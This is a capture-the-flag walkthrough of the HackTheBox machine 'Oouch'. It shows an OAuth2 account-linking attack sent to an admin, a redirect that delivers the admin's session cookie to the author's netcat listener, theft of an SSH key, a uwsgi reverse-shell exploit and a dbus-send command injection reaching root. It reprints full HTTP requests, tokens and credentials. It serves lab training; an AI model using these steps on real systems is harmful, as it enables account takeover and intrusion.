This had difficulty Linux machine taught me a lot about the internal workings of a federated access control system, specifically an implementation of Oauth2. Persistence and the ability to take error messages and learn from them were necessary to progress through this machine.
Useful Skills and Tools
Enumeration
Nmap scan
First off, I started my enumeration with an nmap scan of 10.10.10.177. The options I regularly use are: -p-, which is a shortcut which tells nmap to scan all TCP ports, -sC is the equivalent to --script=default and runs a collection of nmap enumeration scripts against the target, -sV does a service scan, and -oN <name> which saves the output with a filename of <name>.
zweilos@kalimaa:~/htb/oouch$nmap-p--sC-sV-oAoouch10.10.10.177StartingNmap7.80 ( https://nmap.org ) at 2020-06-09 14:10 EDTWARNING:Service10.10.10.177:8000hadalreadysoft-matchedrtsp,butnowsoft-matchedsip; ignoringsecondvalueNmapscanreportfor10.10.10.177Hostisup (0.13s latency).Notshown:65529closedportsPORTSTATESERVICEVERSION21/tcpopenftpvsftpd2.0.8orlater|ftp-anon:AnonymousFTPloginallowed (FTP code230)|_-rw-r--r--1ftpftp49Feb1119:34project.txt|ftp-syst:|STAT:|FTPserverstatus:|Connectedto10.10.14.81|Loggedinasftp|TYPE:ASCII|Sessionbandwidthlimitinbyte/sis30000|Sessiontimeoutinsecondsis300|Controlconnectionisplaintext|Dataconnectionswillbeplaintext|Atsessionstartup,clientcountwas3|vsFTPd3.0.3-secure,fast,stable|_Endofstatus22/tcpopensshOpenSSH7.9p1Debian10+deb10u2 (protocol 2.0)|ssh-hostkey:|20488d:6b:a7:2b:7a:21:9f:21:11:37:11:ed:50:4f:c6:1e (RSA)|_256d2:af:55:5c:06:0b:60:db:9c:78:47:b5:ca:f4:f1:04 (ED25519)5000/tcpopenhttpnginx1.14.2|_http-server-header:nginx/1.14.2|http-title:WelcometoOouch|_Requestedresourcewashttp://10.10.10.177:5000/login?next=%2F5643/tcpfilteredunknown8000/tcpopenrtsp|fingerprint-strings:|FourOhFourRequest,GetRequest,HTTPOptions:|HTTP/1.0400BadRequest|Content-Type:text/html|Vary:Authorization|<h1>BadRequest (400)</h1>|RTSPRequest:|RTSP/1.0400BadRequest|Content-Type:text/html|Vary:Authorization|<h1>BadRequest (400)</h1>|SIPOptions:|SIP/2.0400BadRequest|Content-Type:text/html|Vary:Authorization|_<h1>BadRequest (400)</h1>|_http-title:Sitedoesn't have a title (text/html).|_rtsp-methods: ERROR: Script execution failed (use -d to debug)24079/tcp filtered unknown1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.80%I=7%D=6/9%Time=5EDFD9E7%P=x86_64-pc-linux-gnu%r(GetSF:Request,64,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nContent-Type:\x20textSF:/html\r\nVary:\x20Authorization\r\n\r\n<h1>Bad\x20Request\x20\(400\)</hSF:1>")%r(FourOhFourRequest,64,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nContSF:ent-Type:\x20text/html\r\nVary:\x20Authorization\r\n\r\n<h1>Bad\x20RequSF:est\x20\(400\)</h1>")%r(HTTPOptions,64,"HTTP/1\.0\x20400\x20Bad\x20RequSF:est\r\nContent-Type:\x20text/html\r\nVary:\x20Authorization\r\n\r\n<h1>SF:Bad\x20Request\x20\(400\)</h1>")%r(RTSPRequest,64,"RTSP/1\.0\x20400\x20SF:Bad\x20Request\r\nContent-Type:\x20text/html\r\nVary:\x20Authorization\SF:r\n\r\n<h1>Bad\x20Request\x20\(400\)</h1>")%r(SIPOptions,63,"SIP/2\.0\xSF:20400\x20Bad\x20Request\r\nContent-Type:\x20text/html\r\nVary:\x20AuthoSF:rization\r\n\r\n<h1>Bad\x20Request\x20\(400\)</h1>");Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 2390.62 seconds
Anonymous FTP
When doing my initial reconnaissance, I prefer to test for anonymous access to remote access and file sharing services such as ftp, telnet, and SMB before tacking more time and resource intensive services. In this case since port 21 was open, my first step was to login to FTP as anonymous.
zweilos@kalimaa:~/htb/oouch$ ftp 10.10.10.177Connected to 10.10.10.177. 220 qtc's development server Name (10.10.10.177:zweilos): anonymous 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files.ftp> ls200 PORT command successful. Consider using PASV.150 Here comes the directory listing.-rw-r--r-- 1 ftp ftp 49 Feb 11 19:34 project.txt226 Directory send OK.ftp> get project.txtlocal:project.txt remote: project.txt200 PORT command successful. Consider using PASV.150 Opening BINARY mode data connection for project.txt (49 bytes).226 Transfer complete.49 bytes received in 0.00 secs (314.8129 kB/s)ftp> cd ..250 Directory successfully changed.ftp> ls200 PORT command successful. Consider using PASV.150 Here comes the directory listing.-rw-r--r-- 1 ftp ftp 49 Feb 11 19:34 project.txt226 Directory send OK.ftp> quit221 Goodbye.
There was only one file, project.txt on the server, and I couldn't navigate anywhere else.
zweilos@kalimaa:~/htb/oouch$ cat project.txt
Flask -> Consumer
Django -> Authorization Server
The contents of the file revealed that Flask and Django were the two types of frameworks for the different services on some project. Doing a bit of quick reading revealed that Flask and Django are python-based frameworks for building web apps.
Next I checked SSH, but it did not allow me to connect without a private key (I did note that there is no password required though).
The next open port on my list was 5000. This is a non-standard port and could have been anything, but Nmap reported that there was an Nginx server hosting an HTTP server there, so I fired up my browser to check it out. Navigating to http://10.10.10.177:5000 led to a pretty bare-bones login page.
Initial Foothold
First, I tested a few common default logins such as 'admin:admin' but that didn't get me anywhere. From there I went to the Register page, created an account, logged in, and started looking around the site.
There was not much to do on most of the internal pages, though there was an interesting "send a message to the administrator" type input box on the /contact page.
Attempting to check for XSS on the contact page using javascript:alert(document.cookie) resulted in: "Hacking Attempt Detected" and a one minute IP ban (see screenshot below). Sending the word 'JavaScript' was fine...but sending just the word 'alert' also triggered this message...I decided there must be some sort of filter, WAF, or IPS.
Next I used Gobuster to search for more accessible directories and found an /oauth page. http://10.10.10.177:5000/oauth led to a "hidden" page with the following links:
In order to connect your account:http://consumer.oouch.htb:5000/oauth/connect
Once your account is connected, login here:http://consumer.oouch.htb:5000/oauth/login
Website on port 8000
After clicking the /connect link, I was redirected to http://authorization.oouch.htb:8000/login/. I added each of the newly found domains to my /etc/hosts file so I could proceed.
I didn't have any credentials that worked for the authorization site, so I began poking around to see if there was a way to register. The register link was at the root at http://authorization.oouch.htb:8000/.
The Oauth2 server
I found these sites to be useful while doing research on the Oauth2 protocol:
After creating an account and logging in, I was greeted with two API links /oauth/get_user and /oauth/token.
The two links didn't seem to do anything yet (according to my research I needed a higher privilege authorization token). I needed a way to get this token from a higher privilege user, and the only thing I could think of that I had found related to a site admin was the /contact page on the port 5000 site. Since the /oauth page had a method labeled "connect", I figured the path forward must involve using oauth2 to link my account to the admin account.
After a lot of trial and error and lots of reading of the Oath2 documentation I figured out how to pause the authorization process to connect two accounts in the middle just before the final step. This makes it so the account is in a state where you have an authorization to connect token that is supposed to be sent to the authorized service to connect to. Since this token is sent in the URL, it is trivial to send it as a link to other people in order to link my account to one of my choice.
In order to exploit this, I first went back to original account on http://consumer.oouch.htb:5000/ to use the /connect link on the /oauth page to authorize my two accounts to connect (the one on the consumer page on port 5000 and the Oauth2 internal account on port 8000).
Using Burp to intercept all browser requests, I allowed each of the requests to pass until got to the button to authorize the connect. I then clicked the button, allowed the POST to the server in Burp,
POST /oauth/authorize/?client_id=UDBtC8HhZI18nJ53kJVJpXp4IIffRhKEXZ0fSd82&response_type=code&redirect_uri=http://consumer.oouch.htb:5000/oauth/connect/token&scope=read HTTP/1.1
Host:authorization.oouch.htb:8000User-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateReferer: http://authorization.oouch.htb:8000/oauth/authorize/?client_id=UDBtC8HhZI18nJ53kJVJpXp4IIffRhKEXZ0fSd82&response_type=code&redirect_uri=http://consumer.oouch.htb:5000/oauth/connect/token&scope=read
Content-Type:application/x-www-form-urlencodedContent-Length:266Connection:closeCookie: csrftoken=NfJT07Vec0wl4nbyaopTMl0qYHv5UAXMiJeIrn1yEi61fv4tv76sl9p0tJeWv4SX; sessionid=7sfqfco25nztiemxl9cdahojkewxw2xj
Upgrade-Insecure-Requests:1DNT:1csrfmiddlewaretoken=ZNU3fziGduXycKscNjozBj8EY2TLhuRYei3lxLEWB80XoWZSBdn8SXVIb4zZb7G0&redirect_uri=http%3A%2F%2Fconsumer.oouch.htb%3A5000%2Foauth%2Fconnect%2Ftoken&scope=read&client_id=UDBtC8HhZI18nJ53kJVJpXp4IIffRhKEXZ0fSd82&state=&response_type=code&allow=Authorize
...then intercepted the GET request that contained the authorization link, and dropped the request in Burp so it wouldn't authorize the two accounts to be linked. I needed to start the authorization process in order to get that link I could use to get any other account to connect to mine.
GET /oauth/connect/token?code=OcnuHPMmp4x0UcGjI9Tp87tnvxdfI6 HTTP/1.1Host:consumer.oouch.htb:5000User-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateReferer: http://authorization.oouch.htb:8000/oauth/authorize/?client_id=UDBtC8HhZI18nJ53kJVJpXp4IIffRhKEXZ0fSd82&response_type=code&redirect_uri=http://consumer.oouch.htb:5000/oauth/connect/token&scope=read
Connection:closeCookie: session=.eJwlT7tuwzAM_BVHcwaJkqjIn9EOHYogoCgyMeLYgGVPQf69AjodDvfA3dvcdKb2kGbG37cZ9g7mJa3RXczZfMl9avtG-7Quw_fB3BU95tPwIzOvLxmeNC0nc_1cz71ok_Yw474d0tlUzWgIgAQROWMK9oI5CWoIwNmjEla2TmJ16InRW2V7UUfAnBLGnkAbE_oi6h0HT6VycS6iBQdETn3MzByxQqICLlmpQTS4AAqhez31C9w2ve3rU5a-B4pjqVI1-hSiiI25BE5UMyUINqAApT6q544m2_8JNJ8_--NYTw.XuEzuA.FcBkilyEHZbTXL3aPtl9PU66Kmk
Upgrade-Insecure-Requests:1DNT:1
Road to User
Server-side Request Forgery (SSRF)
Next, I needed to get the admin to link his account to mine in order to escalate my privileges. I went back to the http://consumer.oouch.htb:5000/contact page, and sent the admin the link with my authorization token request link, which was already activated through the POST message earlier. All I needed was for the admin to click the link to connect our accounts. This was an example of an attack called Server-side Request Forgery (SSRF).
I sent the following link to the admin, and hoped that there was some way that they would click it: http://consumer.oouch.htb:5000/oauth/connect/token?code=4GCuHQ0LTjKkezQmz2jlolgHxfLXbc(copied from the url bar after Burp dropped the GET earlier).
After getting a message thanking me for my feedback to the admin, I used the link http://consumer.oouch.htb:5000/oauth/login from the /oauth page to authorize the account connection.
Note: You have to log in fast otherwise the token expires!
The /profile page now showed was logged in as the user qtc with my oauth2 account linked to it.
Finding the developer creds
I noticed on the /documents page I now had the following items listed:
Hello qtc! You have currently following documents stored:
o_auth_notes.txt /api/get_user -> user data. oauth/authorize -> Now also supports GET method.
todo.txt Chris mentioned all users could obtain my ssh key. Must be a joke...
I now had some credentials for a develop user but I wasn't sure where to use them, other than they were good for registering an application.
I turned to gobuster once again to search for more directories, and found /oauth/applications/register/ which gave me an HTTP basic authentication login prompt where I used the develop creds from the /documents page.
After logging in I was given a page where I could register a new application. I went back and did some more research on registering web applications and found information for both Django and Flask.
You can apparently set the authorization link to redirect wherever you want. By setting the redirect URL to be my local machine, I could then listen for a connection with netcat and see if it returned any interesting information.
I forgot the port on my redirect URL while filling out the request the first time. Luckily there was an edit button!
Side note: After creating an app and clicking "Go Back" it prompts for basic authentication with the text “Oouch Admin Only” at URL http://authorization.oouch.htb:8000/oauth/applications/. The develop creds did not work here.
My web app registration request looked like this in Burp:
POST /oauth/applications/register/ HTTP/1.1Host:authorization.oouch.htb:8000User-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateReferer:http://authorization.oouch.htb:8000/oauth/applications/register/Content-Type:application/x-www-form-urlencodedContent-Length:598Authorization:Basic ZGV2ZWxvcDpzdXBlcm1lZ2FzZWN1cmVrbGFyYWJ1YnUxMjMhConnection:closeCookie: csrftoken=qbyohMDkKGDo4c0PDr639MymQiqCyIv7tqPewPWOvY9QVzqOHH5q7L2w733HrfmA; sessionid=t8pysxzmxfaziblsj7bji2hz79kz7mry
Upgrade-Insecure-Requests:1DNT:1csrfmiddlewaretoken=8saMcdN6jW2HIJjcK33GCJ7TeAXljGnDvZbLYVRNgNzPSGJ1xWjjhYWRalMvov1A&name=kaio&client_id=fN0PGweG94VEL6MzopplC1VASOetEWsVy3NW29ak&initial-client_id=fN0PGweG94VEL6MzopplC1VASOetEWsVy3NW29ak&client_secret=sPtIDd40zXgsmk8QLZ6vqb0AfCsYAOXQE6XPF485RusVdMfUdqz5EZjRTurBLMRnn1LN5ACYNxarbiASALSMqAOhKIr3bvGzI5QDV5Pg2QAGmw83OyHJBbyDfidZDOti&initial-client_secret=sPtIDd40zXgsmk8QLZ6vqb0AfCsYAOXQE6XPF485RusVdMfUdqz5EZjRTurBLMRnn1LN5ACYNxarbiASALSMqAOhKIr3bvGzI5QDV5Pg2QAGmw83OyHJBbyDfidZDOti&client_type=public&authorization_grant_type=authorization-code&redirect_uris=http%3A%2F%2F10.10.14.253%3A1234
After allowing the POST request with my credentials I was redirected to a GET request to the register page.
GET /accounts/login/?next=/oauth/applications/register/ HTTP/1.1Host:authorization.oouch.htb:8000User-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateReferer:http://authorization.oouch.htb:8000/oauth/applications/register/Connection:closeCookie:csrftoken=qbyohMDkKGDo4c0PDr639MymQiqCyIv7tqPewPWOvY9QVzqOHH5q7L2w733HrfmAUpgrade-Insecure-Requests:1DNT:1
I then sent an authorization request to the server to connect to the app I 'created', which I hoped would redirect to my netcat listener:
GET /oauth/authorize/?client_id=aIX617P5jWh41UJ1Li3xntUi3W1xVOZDPb0YupTG&redirect_uris=http%3A%2F%2F10.10.14.253%3A1234&grant_type=authorization-code&client_secret=GaUjTTAVrdAJPQHlp3B5NwpR0KvBSSvM6cIopY4uYmZ5N77toqYTidg5CMsW0CMpaWRuBP2YmjNcM9fZD0cJbEIqPyJrWn6Y8RcRD8E2w8C9MuZpjiDhvkRVr9Du97DS HTTP/1.1
Host:authorization.oouch.htb:8000User-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateConnection:closeCookie: csrftoken=RE8nA0Evrg3xPQ2uEqOg4jEWdDSuktJXpc4tf1ugg4Ckf3MIsqGI7Yafq3W1eOS5; sessionid=veopt7hc8e8bv4jwl4ekv4ejlby8kxdn
Upgrade-Insecure-Requests:1DNT:1
I got a connection on my listener!
zweilos@kalimaa:~/htb/oouch$nc-lvnp1234>djangoapplisteningon [any] 1234 ... connectto [10.10.14.253] from (UNKNOWN) [10.10.14.253] 53300
The connection only sent an error message, but it was enough to see that it worked how I wanted and gave me a clue as to what I needed to send to get a proper response.
GET /?error=invalid_request&error_description=Missing+response_type+parameter. HTTP/1.1User-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateConnection:closeUpgrade-Insecure-Requests:1DNT:1Host:10.10.14.253:1234
After seeing that I could get a connection from the server, I once again tried sending my request in a link to the admin on the http://consumer.oouch.htb:5000/contact page to see if we could use SSRF again to get any further info.
GET /?error=invalid_request&error_description=Missing+response_type+parameter. HTTP/1.1Host:10.10.14.253:1234User-Agent:python-requests/2.21.0Accept-Encoding:gzip, deflateAccept:*/*Connection:keep-aliveCookie:sessionid=34w2oj9hyjofej6d4cwr9dykbm5dl9ex;
I now had a session cookie from the admin. Since I was already logged in as qtc on the consumer portal, I used this cookie to see if I could to log into http://authorization.oouch.htb:8000/ as qtc
It worked! Now that I had a higher privilege oauth2 account, I decided it was time to try out those endpoint links to get an authorization token from /oauth/token to access the API /oauth/get_user I saw earlier.
Next I did some more oauth2 research, in particular on authenticating to APIs:
and the request must also include client_id and client_secret.
My first attempts failed:
POST /oauth/token/ HTTP/1.1Host:authorization.oouch.htb:8000Content-Length:227Content-type:application/x-www-form-urlencodedgrant_type=client_credentials&client_id=aIX617P5jWh41UJ1Li3xntUi3W1xVOZDPb0YupTG&client_secret=GaUjTTAVrdAJPQHlp3B5NwpR0KvBSSvM6cIopY4uYmZ5N77toqYTidg5CMsW0CMpaWRuBP2YmjNcM9fZD0cJbEIqPyJrWn6Y8RcRD8E2w8C9MuZpjiDhvkRVr9Du97DS
POST /oauth/token/ HTTP/1.1Host:authorization.oouch.htb:8000Content-type:application/x-www-form-urlencodedContent-Length:223grant_type=client_credentials&client_id=BINNWck8w5CElXxFcUp4hWlbbnJ9YSRautJ2WNjh&client_secret=MGOEEB0A2EptkpF35uYoJOwVgBQDISm2RQAzojkGK4N3whYaSiAl3mjf7EoPyjteCGoJbuiMCSNI1OhxzjEpETFNoUSHvIaMsIUVEos1KKumTFlZ3obeZYhMYthZKVIz
I got the access token! I then tried to use the token to get info from the /oauth/get_user API, but got back nothing useful. After playing around with it, I thought back to the the note on qtc's /documents page that mentioned easy user access to the SSH key and substituted get_user with get_ssh.
GET /api/get_ssh/?access_token=A8lhuPCNBxtMZwFJ9vgpdh1ntW94zg HTTP/1.1Host:authorization.oouch.htb:8000User-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateConnection:closeCookie: csrftoken=RE8nA0Evrg3xPQ2uEqOg4jEWdDSuktJXpc4tf1ugg4Ckf3MIsqGI7Yafq3W1eOS5; sessionid=34w2oj9hyjofej6d4cwr9dykbm5dl9ex;
Upgrade-Insecure-Requests:1DNT:1Cache-Control:max-age=0
I got an SSH key for the user qtc! Annoyingly, it was on a single line and had a lot of \n characters in it that had to be fixed.
I got the user.txt! There was also a hidden file named .note.txt that mentioned using DBus and iptables to implement an IPS.
Path to Power (Gaining Administrator Access)
Enumeration as user - qtc
While enumerating I found a configuration file named htb.oouch.Block.conf in the Dbus configuration files. I figured this must be related to that hidden note I found about an IPS using Dbus.
So the user www-data can send and receive on dbus using htb.oouch.Block, but I wasn't sure how to use this right then.
In the output from the command ip a I noticed that there were Docker containers running in the 172.17.0.1/16 range. I wondered if qtc was able to connect to one.
The answer was yes! It took a few tries to find an IP I could connect to (172.18.0.5), though.
Side note: After going back in to validate my notes, I noticed that the final octet of the container IP seems to be randomized. It was 172.178.0.4 the next time I did it.
qtc@oouch:~/.ssh$sshqtc@172.18.0.5-iid_rsaTheauthenticityofhost'172.18.0.5 (172.18.0.5)'can't be established.ED25519 key fingerprint is SHA256:ROF4hYtv6efFf0CQ80jfB60uyDobA9mVYiXVCiHlhSE.Are you sure you want to continue connecting (yes/no)? yesWarning: Permanently added '172.18.0.5' (ED25519) to the list of known hosts.Linux aeb4525789d8 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright.Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extentpermitted by applicable law.qtc@aeb4525789d8:~$ cat .ssh/authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDaiHaXNdUzLxnlmEI1y+DWRQjEELNA+GcK1vEQXmAFYm9f6GubbWvdkt6QkgvWTvh7FnLM5U4sdfKPFv6mNZZwHZ9nNxB4gR+5B5EGOIzX+D+uDmdbe3r+ME8E68t1aUcwLEba6xF+PErQuiEBCdgcH405dYMClu/apccO+ougD+QpWOFhHNE9VOWHZD3++oRNJFS/Zgh8IZOLU0PnnenLC8ZK3CritRchzG0QHKxgV/6tMPmmzIKk0Ak7iixaK8hzrtKfPNCI3QPe8kXG1KYnMoo8mZ6c3CDUWevldAK+m1i7rluORNRwn6r4KAGwdP2qUdtMR2uo7COl2t5uGtuYtBRrhAZe/S637f/VMrrPq8+2B7db+ne1qn4WyD/sPxf4rfZDwlvXJ6ctfKMYUrV69eMtIKaiU3FYGqXTfAaObmFrO0++TvB/ZcH4h21edVPCn2HJ4pHUFZaYDEUKd2Ho61N0cgGUYWWc+mcCoCxyLLSaOJAv2vtjErV9YkyLGWM= pentester@kali
qtc@aeb4525789d8:/$ ls bin code etc lib media opt root sbin sys usrboot dev home lib64 mnt proc run srv tmp varqtc@aeb4525789d8:/$ ls -latotal 84drwxr-xr-x 1 root root 4096 Feb 25 12:33 .drwxr-xr-x 1 root root 4096 Feb 25 12:33 ..-rwxr-xr-x 1 root root 0 Feb 25 12:33 .dockerenvdrwxr-xr-x 1 root root 4096 Feb 11 17:37 bindrwxr-xr-x 2 root root 4096 Nov 10 2019 bootdrwxr-xr-x 4 root root 4096 Feb 11 17:34 codedrwxr-xr-x 5 root root 340 Jun 11 04:35 devdrwxr-xr-x 1 root root 4096 Feb 25 12:33 etcdrwxr-xr-x 1 root root 4096 Feb 11 17:37 homedrwxr-xr-x 1 root root 4096 Feb 11 17:37 libdrwxr-xr-x 2 root root 4096 Jan 30 00:00 lib64drwxr-xr-x 2 root root 4096 Jan 30 00:00 mediadrwxr-xr-x 2 root root 4096 Jan 30 00:00 mntdrwxr-xr-x 2 root root 4096 Jan 30 00:00 optdr-xr-xr-x 215 root root 0 Jun 11 04:35 procdrwx------ 1 root root 4096 Feb 11 17:38 rootdrwxr-xr-x 1 root root 4096 Jun 11 10:23 rundrwxr-xr-x 1 root root 4096 Feb 11 17:37 sbindrwxr-xr-x 2 root root 4096 Jan 30 00:00 srvdr-xr-xr-x 13 root root 0 Jun 11 04:35 sysdrwxrwxrwt 1 root root 4096 Jun 11 04:35 tmpdrwxr-xr-x 1 root root 4096 Jan 30 00:00 usrdrwxr-xr-x 1 root root 4096 Feb 11 17:36 var
After connecting through SSH with the same OpenSSH key for user qtc, I began enumerating the docker container. The /code folder in the root looked interesting...
qtc@aeb4525789d8:/$ cd code
qtc@aeb4525789d8:/code$ ls -la
total 52
drwxr-xr-x 4 root root 4096 Feb 11 17:34 .
drwxr-xr-x 1 root root 4096 Feb 25 12:33 ..
-rw-r--r-- 1 root root 1072 Feb 11 17:34 Dockerfile
-r-------- 1 root root 568 Feb 11 17:34 authorized_keys
-rw-r--r-- 1 root root 325 Feb 11 17:34 config.py
-rw-r--r-- 1 root root 23 Feb 11 17:34 consumer.py
-r-------- 1 root root 2602 Feb 11 17:34 key
drwxr-xr-x 4 root root 4096 Feb 11 17:34 migrations
-rw-r--r-- 1 root root 724 Feb 11 17:34 nginx.conf
drwxr-xr-x 5 root root 4096 Feb 11 17:34 oouch
-rw-r--r-- 1 root root 241 Feb 11 17:34 requirements.txt
-rwxr-xr-x 1 root root 89 Feb 11 17:34 start.sh
-rw-rw-rw- 1 root root 0 Jun 11 10:36 urls.txt
-rw-r--r-- 1 root root 163 Feb 11 17:34 uwsgi.ini
There were lots of interesting looking files in this directory.
The file requirements.txt gave a listing of the dependencies and versions of the software needed to run the websites, so perhaps there was something I could use to find an exploit.
The MySQL creds in config.py file looked interesting...though I'm not sure if it was another route to root or a rabbit hole. I forgot about it until after I had gotten root and never used them.
The uwsgi service was running on the oouchbox, and I also found the wsgi.ini file in the Docker container. Apparently it runs in the context of the www-data user, which we saw earlier in the htb.oouch.Block.conf. I checked to see if there were any exploits for this service and found: https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py
I then tried to run the exploit to try to get a reverse shell:
The uwsgi service runs from the docker container so I couldn't figure out how to get this exploit to connect to my Kali machine easily. I used SCP to copy the exploit into the container (along with a version of nc since it wasn't installed.)
Note: make sure to put the : after the IP and before the folder name; it won't work otherwise.
Fortunately commenting out the lines that referenced the bytes module solved the problem and the code ran. I still wasn't able to get a shell back to my box from the docker container, so tried sending it to the oouch box instead.
...it worked, and, I got a connection on my netcat listener I set up back on qtc@oouch.
If you are wondering how I was able to do this, I had another terminal open and set up another SSH connection to the oouch machine from my localhost. If you didn't know, you can login to the same machine multiple times with SSH (not sure what the technical limit may be).
listeningon [any] 1234 ...connectto [172.18.0.1] from (UNKNOWN) [172.18.0.5] 53934whoami&&hostnamewww-dataaeb4525789d8
Now that I was logged in as www-data, I needed to see if that dbus configuration file I found earlier could come in handy. It mentioned interacting with dbus and the htb.oouch.block app. The code below was from routes.py found in the /code/oouch directory of the docker container and showed the information needed to craft my message to DBus. (I also think this was the filter that was blocking my early XSS attempts on the /contact page).
dbus-send--print-reply--system--dest=htb.oouch.Block/htb/oouch/Blockhtb.oouch.Block.Blockstring:"echo whoami;"methodreturntime=1591881935.932055sender=:1.2 ->destination=:1.1283serial=7reply_serial=2string"Carried out :D"
The reply string "Carried out :D" made it look like I was on the right track, even though I didn't see any echo. I figured that the standard-out was not being sent back to my terminal and that was why I wasn't able to see my test work.
I then tried substituting the echo whoami command for a reverse shell:
I'm in! The service spawned a reverse shell connection back to my waiting netcat listener on the oouch machine.
Looking back, I probably could have used an SSH tunnel to connect through from my local host, but I didn't know how to do that back when I first rooted this machine.
Root.txt
qtc@oouch:/etc/dbus-1/system.d$nc-lvnp1234listeningon [any] 1234 ...connectto [172.18.0.1] from (UNKNOWN) [10.10.10.177] 50776/bin/sh:0:can't access tty; job control turned off# whoami && hostnamerootoouch# cat root.txtd63a830d3105bfeb7bb05f994080f187
Thanks to qtc for a very fun and very challenging box!
If you like this content and would like to see more, please consider buying me a coffee!